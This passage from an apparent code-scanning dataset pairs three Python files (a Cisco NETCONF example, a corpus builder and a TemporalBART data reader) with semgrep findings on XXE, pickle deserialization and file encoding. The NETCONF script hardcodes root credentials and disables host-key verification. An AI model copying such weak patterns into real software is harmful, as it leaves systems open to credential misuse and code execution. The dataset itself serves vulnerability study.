Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-95"
] | [
"rules.python.lang.security.audit.eval-detected"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
133
] | [
133
] | [
9
] | [
22
] | [
"A03:2021 - Injection"
] | [
"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."
] | [
5
] | [
"LOW"
] | [
"HIGH"
] | api.py | /Google API/api.py | baokhanh92/Voice_detection_API_controlling | Apache-2.0 | |
2024-11-18T19:38:08.144040+00:00 | 1,551,892,655,000 | f1c7fc6a6a8c2d659b5b547ad6827c17b8d5b1b6 | 3 | {
"blob_id": "f1c7fc6a6a8c2d659b5b547ad6827c17b8d5b1b6",
"branch_name": "refs/heads/master",
"committer_date": 1551892655000,
"content_id": "d4e418f3ba20d8771108f20772a7130b6442b17e",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "4acba479a4ae2deb08bcc89302fb612049a1dbca",
"extension": "py",
"filename": "get_interfaces_csr1000V.py",
"fork_events_count": 21,
"gha_created_at": 1455262314000,
"gha_event_created_at": 1551892656000,
"gha_language": "Python",
"gha_license_id": "Apache-2.0",
"github_id": 51573202,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3555,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/netconf-103/get_interfaces_csr1000V.py",
"provenance": "stack-edu-0054.json.gz:571060",
"repo_name": "CiscoDevNet/netconf-examples",
"revision_date": 1551892655000,
"revision_id": "cba893221cd4753bf75a8906f0377b256d053480",
"snapshot_id": "ddd43941ffab88a968b77373780f8795a6ba4dd8",
"src_encoding": "UTF-8",
"star_events_count": 65,
"url": "https://raw.githubusercontent.com/CiscoDevNet/netconf-examples/cba893221cd4753bf75a8906f0377b256d053480/netconf-103/get_interfaces_csr1000V.py",
"visit_date": "2021-05-04T09:49:00.506843"
} | 2.71875 | stackv2 | #!/usr/bin/python
#
# Get interface operational state using NETCONF
#
# darien@sdnessentials.com
#
from interfaces import Interface
from ncclient import manager
import re
import sys
import xml.dom.minidom
# the variables below assume the user is requesting access
# to a IOS-XE device running in the DevNet Always On SandBox
# use the IP address or hostname of your IOS-XE device
HOST = 'ios-xe-mgmt.cisco.com'
# use the NETCONF port for your IOS-XE device
PORT = 10000
# use the user credentials for your IOS-XE device
USER = 'root'
PASS = 'C!sc0123'
# XML file to open
FILE = 'enable_odm_control.xml'
# create a method to retrieve interface operational data
def get_interface_state(host, port, user, passwd, filename):
"""Main method that retrieves the interfaces from config via NETCONF."""
with manager.connect(host=host, port=port, username=user, password=passwd,
hostkey_verify=False, device_params={'name': 'default'},
allow_agent=False, look_for_keys=False) as m:
# open the XML file to enable ODM
with open(filename) as f:
try:
# issue the edit-config operation with the XML config to enable operational data
rpc_reply = m.edit_config(target='running', config=f.read())
except Exception as e:
print("Encountered the following RPC error!")
print(e)
sys.exit()
# verify ODM is enabled before continuing
if rpc_reply.ok is not True:
print("Encountered a problem when enabling ODM!")
sys.exit()
try:
# issue the an RPC get while on interfaces-state
rpc_reply = m.get(filter=('subtree', "<interfaces-state/>"))
except Exception as e:
print("Encountered the following RPC error!")
print(e)
sys.exit()
# verify the RPC get was successful before continuing
if rpc_reply.ok is not True:
print("Encountered a problem when retrieving operational state!")
sys.exit()
else:
# return the RPC reply containing interface data in XML format
return(rpc_reply)
def main():
"""Simple main method calling our function."""
list_interfaces = []
result = get_interface_state(HOST, PORT, USER, PASS, FILE)
print(xml.dom.minidom.parseString(result.xml).toprettyxml())
# get a list of interfaces by parsing for the <interface> element
interfaces = xml.dom.minidom.parseString(result.xml).getElementsByTagName('interface')
# iterate over each instance of the <interface> element
for each in interfaces:
# parse out the <name> and <oper-status> nodes when the
# <name> text node contains "GigabitEthernet|FastEthernet"
if re.match('(Gigabit|Fast)Ethernet', each.getElementsByTagName('name')[0].firstChild.nodeValue):
# instantiate an Interface() object for each instance of an interface
interface = Interface(each.getElementsByTagName('name')[0].firstChild.nodeValue,
each.getElementsByTagName('oper-status')[0].firstChild.nodeValue)
list_interfaces.append(interface)
# call the prints() method to print the interface data
for each in list_interfaces:
each.prints()
# call the check_down() method to print each down interface and a warning
for each in list_interfaces:
each.check_down()
if __name__ == '__main__':
sys.exit(main())
| 95 | 36.42 | 105 | 18 | 760 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_71027367ff356097_58bccd31", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 12, "line_end": 12, "column_start": 1, "column_end": 23, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpb8jm_z1l/71027367ff356097.py", "start": {"line": 12, "col": 1, "offset": 183}, "end": {"line": 12, "col": 23, "offset": 205}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_71027367ff356097_e3a486c7", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 36, "line_end": 36, "column_start": 14, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/71027367ff356097.py", "start": {"line": 36, "col": 14, "offset": 1091}, "end": {"line": 36, "col": 28, "offset": 1105}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
12
] | [
12
] | [
1
] | [
23
] | [
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service."
] | [
7.5
] | [
"LOW"
] | [
"MEDIUM"
] | get_interfaces_csr1000V.py | /netconf-103/get_interfaces_csr1000V.py | CiscoDevNet/netconf-examples | Apache-2.0 | |
2024-11-18T19:38:10.538037+00:00 | 1,670,925,117,000 | 4b99b9e06468854046cb3d13f154fe930f086364 | 3 | {
"blob_id": "4b99b9e06468854046cb3d13f154fe930f086364",
"branch_name": "refs/heads/master",
"committer_date": 1670925117000,
"content_id": "a439cabb4a5ecb88b9d1c7eb4982540393c1a73f",
"detected_licenses": [
"MIT"
],
"directory_id": "85373d45a83e4096affafa4f4e5b400787413e57",
"extension": "py",
"filename": "corpus_creator.py",
"fork_events_count": 173,
"gha_created_at": 1479811421000,
"gha_event_created_at": 1684803081000,
"gha_language": "Python",
"gha_license_id": "NOASSERTION",
"github_id": 74462571,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 559,
"license": "MIT",
"license_type": "permissive",
"path": "/src/utils/corpus_creator/corpus_creator.py",
"provenance": "stack-edu-0054.json.gz:571088",
"repo_name": "keiffster/program-y",
"revision_date": 1670925117000,
"revision_id": "fc7b0a3afa4fa6ed683e0c817a9aa89f9543bb20",
"snapshot_id": "a02bb9d8278835547cc875f4f9cd668d5b1f44da",
"src_encoding": "UTF-8",
"star_events_count": 379,
"url": "https://raw.githubusercontent.com/keiffster/program-y/fc7b0a3afa4fa6ed683e0c817a9aa89f9543bb20/src/utils/corpus_creator/corpus_creator.py",
"visit_date": "2023-08-23T13:55:39.255535"
} | 3.09375 | stackv2 |
import re
import pickle
import sys
from collections import Counter
if __name__ == '__main__':
def all_words(text):
return re.findall(r'\w+', text.upper())
def create_corpus(text_filename, corpus_filename):
words = Counter(all_words(open(text_filename).read()))
sum_of_words = sum(words.values())
corpus = (words, sum_of_words)
with open(corpus_filename, "wb+") as f:
pickle.dump(corpus, f)
input_file = sys.argv[1]
output_file = sys.argv[2]
create_corpus(input_file, output_file) | 24 | 22.33 | 62 | 16 | 130 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_3bfc7999d6592c77_3537e6b7", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 14, "line_end": 14, "column_start": 35, "column_end": 54, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/3bfc7999d6592c77.py", "start": {"line": 14, "col": 35, "offset": 261}, "end": {"line": 14, "col": 54, "offset": 280}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_3bfc7999d6592c77_170af6b4", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 19, "line_end": 19, "column_start": 13, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/3bfc7999d6592c77.py", "start": {"line": 19, "col": 13, "offset": 433}, "end": {"line": 19, "col": 35, "offset": 455}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
19
] | [
19
] | [
13
] | [
35
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | corpus_creator.py | /src/utils/corpus_creator/corpus_creator.py | keiffster/program-y | MIT | |
2024-11-18T19:38:10.875289+00:00 | 1,678,439,299,000 | 7dd49c3103795745e9b3c4792e7825749155e21b | 2 | {
"blob_id": "7dd49c3103795745e9b3c4792e7825749155e21b",
"branch_name": "refs/heads/main",
"committer_date": 1678439299000,
"content_id": "3f63cbf3062c4761592f4cef023ed3840130c751",
"detected_licenses": [
"MIT"
],
"directory_id": "22f7e831f11d61789712dd59f96b8d02b1dea926",
"extension": "py",
"filename": "seq2seq_transformer_reader.py",
"fork_events_count": 2,
"gha_created_at": 1611060479000,
"gha_event_created_at": 1612893218000,
"gha_language": "Python",
"gha_license_id": "MIT",
"github_id": 330977677,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 14876,
"license": "MIT",
"license_type": "permissive",
"path": "/denoising_event_lm/data/dataset_readers/seq2seq/seq2seq_transformer_reader.py",
"provenance": "stack-edu-0054.json.gz:571094",
"repo_name": "jjasonn0717/TemporalBART",
"revision_date": 1678439299000,
"revision_id": "c79643c1df81f352e87141f0645ee3d7467a70fe",
"snapshot_id": "747ee7cf1c60f95385350d3c6dd65556c8265567",
"src_encoding": "UTF-8",
"star_events_count": 8,
"url": "https://raw.githubusercontent.com/jjasonn0717/TemporalBART/c79643c1df81f352e87141f0645ee3d7467a70fe/denoising_event_lm/data/dataset_readers/seq2seq/seq2seq_transformer_reader.py",
"visit_date": "2023-03-20T11:59:16.933501"
} | 2.375 | stackv2 | import json, pickle
import logging
from typing import Any, Dict, List, Tuple, Optional, Iterable
from copy import deepcopy
import numpy as np
from allennlp.data.fields import MetadataField, ArrayField
from overrides import overrides
from allennlp.common.file_utils import cached_path
from allennlp.data.dataset_readers.dataset_reader import DatasetReader
from allennlp.data.instance import Instance
from denoising_event_lm.modules.transformers import get_huggingface_tokenizer
logger = logging.getLogger(__name__)
@DatasetReader.register("seq2seq_transformer_reader")
class Seq2SeqTransformerReader(DatasetReader):
"""
Reads a Pickle QA file and returns a ``Dataset`` where the ``Instances`` have four
fields:
* ``question_with_context``, a ``TextField`` that contains the concatenation of question and context,
* ``answer_span``, a ``SpanField`` into the ``question`` ``TextField`` denoting the answer.
* ``context_span`` a ``SpanField`` into the ``question`` ``TextField`` denoting the context, i.e., the part of
the text that potential answers can come from.
* A ``MetadataField`` that stores the instance's ID, the original question, the original passage text, both of
these in tokenized form, and the gold answer strings, accessible as ``metadata['id']``,
``metadata['question']``, ``metadata['context']``, ``metadata['question_tokens']``,
``metadata['context_tokens']``, and ``metadata['answers']. This is so that we can more easily use the
official SQuAD evaluation script to get metrics.
Parameters
----------
transformer_model_name : ``str``, optional (default=``bert-base-cased``)
This reader chooses tokenizer and token indexer according to this setting.
length_limit : ``int``, optional (default=self._tokenizer.model_max_length)
We will make sure that the length of all input text never exceeds this many word pieces.
stride : ``int``, optional (default=-1)
If this is -1, we truncate the context as specified when calling ``self.tokenizer.encode``.
Otherwise, when context are too long for the length limit, we emit multiple instances for one question,
where the context is shifted. This parameter specifies the overlap between the shifted context window.
truncation_strategy : `str`, optional (default=`'longest_first'`)
String selected in the following options:
- 'longest_first' (default) Iteratively reduce the inputs sequence until the input is under max_length
starting from the longest one at each token (when there is a pair of input sequences)
- 'only_first': Only truncate the first sequence
- 'only_second': Only truncate the second sequence
- 'do_not_truncate': Do not truncate (raise an error if the input sequence is longer than max_length)
test_mode : ``bool``, optional (default=True)
whether we are in the test mode.
context_prefix : ``str``, optional (default="")
the string to prepend on context. Mainly for T5 models.
question_prefix : ``str``, optional (default="")
the string to prepend on question. Mainly for T5 models.
target_suffix : ``str``, optional (default="")
the string to append on target. Mainly for T5 models.
"""
def __init__(
self,
tokenizer_model_name: str,
tokenizer_kwargs: Optional[Dict[str, Any]] = None,
lowercase: bool = False,
length_limit: Optional[int] = None,
truncation_strategy: str = "longest_first",
test_mode: bool = False,
source_prefix: str = "",
target_prefix: str = "",
target_suffix: str = "",
task_specific_args: Optional[Dict[str, Any]] = None,
**kwargs,
) -> None:
super().__init__(**kwargs)
self._tokenizer = get_huggingface_tokenizer(tokenizer_model_name, **(tokenizer_kwargs or {}))
self._lowercase = lowercase
self._length_limit = length_limit or self._tokenizer.model_max_length # since truncation in tokenizer will consider added special tokens
self._truncation_strategy = truncation_strategy
self._test_mode = test_mode
self._source_prefix = source_prefix if len(source_prefix) == 0 else (source_prefix + ('' if source_prefix[-1] == ' ' else ' '))
self._target_prefix = target_prefix if len(target_prefix) == 0 else (target_prefix + ('' if target_prefix[-1] == ' ' else ' '))
self._target_suffix = target_suffix if len(target_suffix) == 0 else (('' if target_suffix[0] == ' ' else ' ') + target_suffix)
#self._source_prefix = source_prefix
#self._target_prefix = target_prefix
#self._target_suffix = target_suffix
self._return_token_type_ids = "token_type_ids" in self._tokenizer.model_input_names
self._return_attention_mask = "attention_mask" in self._tokenizer.model_input_names
if len(self._source_prefix) > 0:
self._source_prefix_tok_ids = self.tokenize_text(self._source_prefix, add_special_tokens=False, add_prefix_space=False)["input_ids"]
else:
self._source_prefix_tok_ids = []
# get default task-specific arguments for multi-task training
self._default_task_specific_args = self.get_default_task_specific_args()
self._task_specific_args = task_specific_args or {}
self._task_specific_args[''] = self._default_task_specific_args
@staticmethod
def get_answer_strings(tokens, answer_tok_idxs):
if answer_tok_idxs is not None:
answers_str = [" ".join(tokens[p] for p in idxs) for idxs in answer_tok_idxs]
else:
answers_str = None
return answers_str
def get_default_task_specific_args(self):
# remember to deepcopy if needed
default_args = {
"_length_limit": self._length_limit
}
return default_args
def set_task_specific_args(self, kwargs):
for k, v in kwargs.items():
assert hasattr(self, k)
setattr(self, k, v)
def preprocess_example(self, example, data_src):
example['data_src'] = data_src
# metadata
if not "doc_id" in example:
example["doc_id"] = None
# process source if needed
if "source" in example:
pass
elif "context" in example:
example["source"] = example["context"]
# process answers if needed
if "answers_str" in example:
pass
elif "answers" in example:
example["answers_str"] = example["answers"]
elif "answer_tok_idxs" in example:
# get answer strings
context_toks = example["context_tokens"]
answer_tok_idxs = example["answer_tok_idxs"]
answers_str = self.get_answer_strings(context_toks, answer_tok_idxs)
example["answers_str"] = answers_str
@overrides
def _read(self, file_path: str):
if file_path[0] == '{' and file_path[-1] == '}':
file_path_dict = json.loads(file_path)
dataset = []
for data_src, file_path in file_path_dict.items():
file_params = self._task_specific_args[data_src]
data_src_weight = file_params.pop('weight') if 'weight' in file_params else 1
assert type(data_src_weight) == int
# if `file_path` is a URL, redirect to the cache
file_path = cached_path(file_path)
self.set_task_specific_args(file_params)
logger.info("Reading file at %s", file_path)
with open(file_path, 'rb') as dataset_file:
cur_dataset = pickle.load(dataset_file)
for example in cur_dataset:
self.preprocess_example(example, data_src)
logger.info(f"Up-sample {data_src} dataset by {data_src_weight} ({len(cur_dataset)} -> {len(cur_dataset)*data_src_weight})")
dataset += cur_dataset * data_src_weight
self.set_task_specific_args(self._default_task_specific_args)
else:
# if `file_path` is a URL, redirect to the cache
file_path = cached_path(file_path)
logger.info("Reading file at %s", file_path)
with open(file_path, 'rb') as dataset_file:
dataset = pickle.load(dataset_file)
for example in dataset:
self.preprocess_example(example, '')
# now allennlp's lazy dataset only works with unshuffle, so manually shuffle here.
np.random.shuffle(dataset)
logger.info("Reading the dataset")
# yield instances
num_instances = 0
num_valid_examples = 0
examples_with_more_than_one_instance = 0
self._instances_exceed_length_limit = 0
for example in dataset:
self.set_task_specific_args(self._task_specific_args[example['data_src']])
instances = self.make_instances(example)
instances_yielded = 0
for instance in instances:
yield instance
num_instances += 1
instances_yielded += 1
num_valid_examples += 1
if instances_yielded > 1:
examples_with_more_than_one_instance += 1
self.set_task_specific_args(self._default_task_specific_args)
logger.info("Total instances yielded: %d", num_instances)
logger.info("%d (%.2f%%) examples have more than one instance",
examples_with_more_than_one_instance,
100 * examples_with_more_than_one_instance / num_valid_examples)
logger.info("%d (%.2f%%) instances exceed the length limit",
self._instances_exceed_length_limit,
100 * self._instances_exceed_length_limit / num_instances)
def tokenize_text(self, text, text_pair=None, add_special_tokens=True, add_prefix_space=False):
# note: default set ``add_prefix_space`` to True.
# This makes roberta-style encoders produce correct results when special tokens are added.
encodes = self._tokenizer.encode_plus(
text=text,
text_pair=text_pair,
add_special_tokens=add_special_tokens,
max_length=self._length_limit,
truncation=self._truncation_strategy,
return_tensors=None,
return_token_type_ids=self._return_token_type_ids,
return_attention_mask=self._return_attention_mask,
return_overflowing_tokens=False,
return_special_tokens_mask=False,
return_offsets_mapping=False,
add_prefix_space=add_prefix_space
)
return encodes
def make_single_instance(
self,
example: Dict[str, Any]
) -> Iterable[Instance]:
source_str = example["source"]
answers_str = None if self._test_mode else example["answers_str"]
if self._lowercase:
source_str = source_str.lower()
answers_str = None if self._test_mode else [ans.lower() for ans in answers_str]
_id = example["_id"]
doc_id = example["doc_id"]
data_src = example['data_src']
# preprocess target strings. Mainly for T5 models.
target_idx = 0
target_str = None if answers_str is None else self._target_prefix + answers_str[target_idx] + self._target_suffix # use first one as the target
# tokenize the target.
target_encodes = None if answers_str is None else self.tokenize_text(target_str)
additional_metadata = {
"raw_source_str": source_str,
"source_str": None,
"target_str": self._tokenizer.decode(target_encodes["input_ids"]),
"answers_str": answers_str,
"_id": _id,
"doc_id": doc_id,
"data_src": data_src,
}
source_str = self._source_prefix + source_str
source_encodes = self.tokenize_text(source_str)
additional_metadata["source_str"] = self._tokenizer.decode(source_encodes["input_ids"])
instance = self.text_to_instance(
source_encodes,
target_encodes,
deepcopy(additional_metadata),
)
return instance
def make_instances(
self,
example: Dict[str, Any]
) -> Iterable[Instance]:
yield self.make_single_instance(example)
@overrides
def text_to_instance(
self, # type: ignore
source_encodes: Dict[str, List[int]],
target_encodes: Dict[str, List[int]] = None,
additional_metadata: Dict[str, Any] = None,
) -> Instance:
fields = {}
# make the token_ids fields (array fields)
pad_id = self._tokenizer.pad_token_id
fields["source_tok_ids"] = ArrayField(np.array(source_encodes["input_ids"]), padding_value=pad_id, dtype=np.int64)
if target_encodes is not None:
fields["target_tok_ids"] = ArrayField(np.array(target_encodes["input_ids"]), padding_value=pad_id, dtype=np.int64)
# make the token_type_ids fields (array fields)
if self._return_token_type_ids:
pad_id = self._tokenizer.pad_token_type_id
fields["source_tok_type_ids"] = ArrayField(np.array(source_encodes["token_type_ids"]), padding_value=pad_id, dtype=np.int64)
if target_encodes is not None:
fields["target_tok_type_ids"] = ArrayField(np.array(target_encodes["token_type_ids"]), padding_value=pad_id, dtype=np.int64)
if self._return_attention_mask:
pad_id = 0
fields["source_attention_mask"] = ArrayField(np.array(source_encodes["attention_mask"]), padding_value=pad_id, dtype=np.int64)
if target_encodes is not None:
fields["target_attention_mask"] = ArrayField(np.array(target_encodes["attention_mask"]), padding_value=pad_id, dtype=np.int64)
'''
print("source:")
print(source_encodes)
print(self._tokenizer.decode(source_encodes["input_ids"], skip_special_tokens=False, clean_up_tokenization_spaces=True))
print("target:")
print(target_encodes)
print(self._tokenizer.decode(target_encodes["input_ids"], skip_special_tokens=False, clean_up_tokenization_spaces=True))
print("meta")
print(json.dumps(additional_metadata, indent=2))
print("---"*20, '\n')
input()
'''
if len(source_encodes["input_ids"]) >= self._length_limit:
self._instances_exceed_length_limit += 1
# make the metadata
metadata = {}
if additional_metadata is not None:
metadata.update(additional_metadata)
fields["metadata"] = MetadataField(metadata)
return Instance(fields)
| 320 | 45.49 | 151 | 22 | 3,168 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_19339ece72be429e_60cecc0d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 160, "line_end": 160, "column_start": 35, "column_end": 60, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/19339ece72be429e.py", "start": {"line": 160, "col": 35, "offset": 7718}, "end": {"line": 160, "col": 60, "offset": 7743}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_19339ece72be429e_57ffcc26", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 172, "line_end": 172, "column_start": 27, "column_end": 52, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/19339ece72be429e.py", "start": {"line": 172, "col": 27, "offset": 8405}, "end": {"line": 172, "col": 52, "offset": 8430}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | [
